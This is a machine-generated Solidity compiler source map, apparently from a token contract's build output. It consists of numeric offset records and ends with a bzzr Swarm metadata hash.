2:2;8460:106:0;;;;;;100:9:-1;95:1;81:12;77:20;67:8;63:35;60:50;39:11;25:12;22:29;11:107;8:2;;;131:1;128;121:12;8:2;8460:106:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;81:16;;74:27;;;;-1:-1;8460:106:0;;-1:-1:-1;8460:106:0;;-1:-1:-1;;;;;8460:106:0:i;:::-;;9031:66;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9031:66:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;9031:66:0;;;;;;;;;;:::i;9169:18::-;;;;;;;;;;;;;;;-1:-1:-1;;9169:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6172:216::-;6274:10;6247:4;6264:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;6264:31:0;;;;;;;;;;;:40;;;6320:38;;;;;;;6247:4;;6264:31;;6274:10;;6320:38;;;;;;;;-1:-1:-1;6376:4:0;6172:216;;;;:::o;9136:26::-;;;;:::o;8625:243::-;6138:5;;8696:4;;6138:5;;;-1:-1:-1;;;;;6138:5:0;6124:10;:19;6116:28;;;;;;8718:9;8713:148;8737:3;:10;8733:1;:14;8713:148;;;8769:4;:11;;-1:-1:-1;;8769:11:0;8776:4;8769:11;;;8808:6;;8769:4;;8808:3;;8812:1;;8808:6;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8829:13:0;;;;;8845:4;8829:13;;;;;;;:20;;-1:-1:-1;;8829:20:0;;;;;8749:3;;;;;-1:-1:-1;8713:148:0;;;;8625:243;;;:::o;6544:643::-;6634:4;6655:11;6651:31;;-1:-1:-1;6676:4:0;6669:11;;6651:31;6696:10;-1:-1:-1;;;;;6696:19:0;;;;;;:48;;-1:-1:-1;6729:9:0;6719;:20;;;;;;;;;;;:25;6696:48;6692:181;;;-1:-1:-1;;;;;6769:16:0;;;;;;:9;:16;;;;;;;;6786:10;6769:28;;;;;;;;:38;-1:-1:-1;6769:38:0;6761:47;;;;;;-1:-1:-1;;;;;6823:16:0;;;;;;:9;:16;;;;;;;;6840:10;6823:28;;;;;;;:38;;;;;;;6692:181;-1:-1:-1;;;;;6891:16:0;;;;;;:9;:16;;;;;;:26;-1:-1:-1;6891:26:0;6883:35;;;;;;-1:-1:-1;;;;;6929:16:0;;;;;;;:9;:16;;;;;;;;:26;;;;;;;6970:14;;;;;-1:-1:-1;6970:14:0;;;;;;;:34;;-1:-1:-1;;;;;;6988:16:0;;;;;;:9;:16;;;;;;;;6970:34;6966:54;;;-1:-1:-1;7014:4:0;7007:11;;6966:54;7030:11;7044:26;7051:5;7058:3;7063:6;7044;:26::i;:::-;-1:-1:-1;;;;;7081:14:0;;;;;;;:9;:14;;;;;;;;;:32;;7100:12;;;7081:32;;;7129:28;;;;;;;7030:40;;-1:-1:-1;7081:14:0;;7129:28;;;;;;;;;;;;;;;7175:4;7168:11;;;6544:643;;;;;;:::o;9221:24::-;;;;;;:::o;9106:23::-;;;;:::o;8979:45::-;;;;;;;;;;;;;:::o;9194:20::-;;;;;;;;;;;;;;;-1:-1:-1;;9194:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6396:140;6467:4;6491:37;6504:10;6516:3;6521:6;6491:12;:37::i;7195:483::-;6138:5;;7286:4;;6138:5;;;-1:-1:-1;;;;;6138:5:0;6124:10;:19;6116:28;;;;;;7328:10;;7367;7303:13;7357:21;;;:9;:21;;;;;;7319:19;;;;7357:30;-1:-1:-1;7357:30:0;7349:39;;;;;;7409:10;7399:21;;;;:9;:21;;;;;:30;;;;;;;7440:209;7464:3;:10;7460:1;:14;7440:209;;;7496:10;7509:3;7513:1;7509:6;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7530:13:0;;;;;;:9;:13;;;;;;:23;;;;;;7568:13;;;;;;;-1:-1:-1;7568:17:0;;7605:32;;;;;;;7509:6;;-1:-1:-1;7530:13:0;;7614:10;;7605:32;;;;;;;;;;-1:-1:-1;7476:3:0;;7440:209;;;-1:-1:-1;7666:4:0;;7195:483;-1:-1:-1;;;;7195:483:0:o;8460:106::-;6138:5;;;;;-1:-1:-1;;;;;6138:5:0;6124:10;:19;6116:28;;;;;;8541:1;-1:-1:-1;;;;;8541:14:0;8556:1;8541:17;;;;;;;;;;;;;36:153:-1;66:2;61:3;58:11;36:153;;176:10;;164:23;;-1:-1;;139:12;;;;98:2;89:12;;;;114;36:153;;;274:1;267:3;263:2;259:12;254:3;250:22;246:30;315:4;311:9;305:3;299:10;295:26;356:4;350:3;344:10;340:21;389:7;380;377:20;372:3;365:33;3:399;;;8541:17:0;;;;;;;;;;;;;;;;;;;;;;;14:1:-1;21;16:31;;;;75:4;69:11;64:16;;144:4;140:9;133:4;115:16;111:27;107:43;104:1;100:51;94:4;87:65;169:16;166:1;159:27;225:16;222:1;215:4;212:1;208:12;193:49;7:242;;16:31;36:4;31:9;;7:242;;8541:17:0;;8460:106;;:::o;9031:66::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;8175:277::-;8275:4;;8251:7;;8275:4;;:18;;;;-1:-1:-1;8290:3:0;;-1:-1:-1;;;;;8283:10:0;;;8290:3;;8283:10;8275:18;:36;;;;-1:-1:-1;8306:5:0;;-1:-1:-1;;;;;8297:14:0;;;8306:5;;;;;8297:14;;8275:36;:61;;;;-1:-1:-1;;;;;;8315:16:0;;:9;:16;;;;;;;;;;;:21;8275:61;8271:155;;;8402:3;;8360:54;;;-1:-1:-1;;;8360:54:0;;8395:4;8360:54;;;;-1:-1:-1;;;;;8402:3:0;;;8360:54;;;;;;;;;;;9346:42;;8360:26;;:54;;;;;;;;;;;;;;-1:-1:-1;9346:42:0;8360:54;;;5:2:-1;;;;30:1;27;20:12;5:2;8360:54:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;8360:54:0;;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;8360:54:0;;-1:-1:-1;8353:61:0;;8271:155;-1:-1:-1;8443:1:0;8175:277;;;;;:::o

bzzr://60bb54f2687de6bb2422d28fbc751f7867cc425a7988b340032bbd297f66eeb4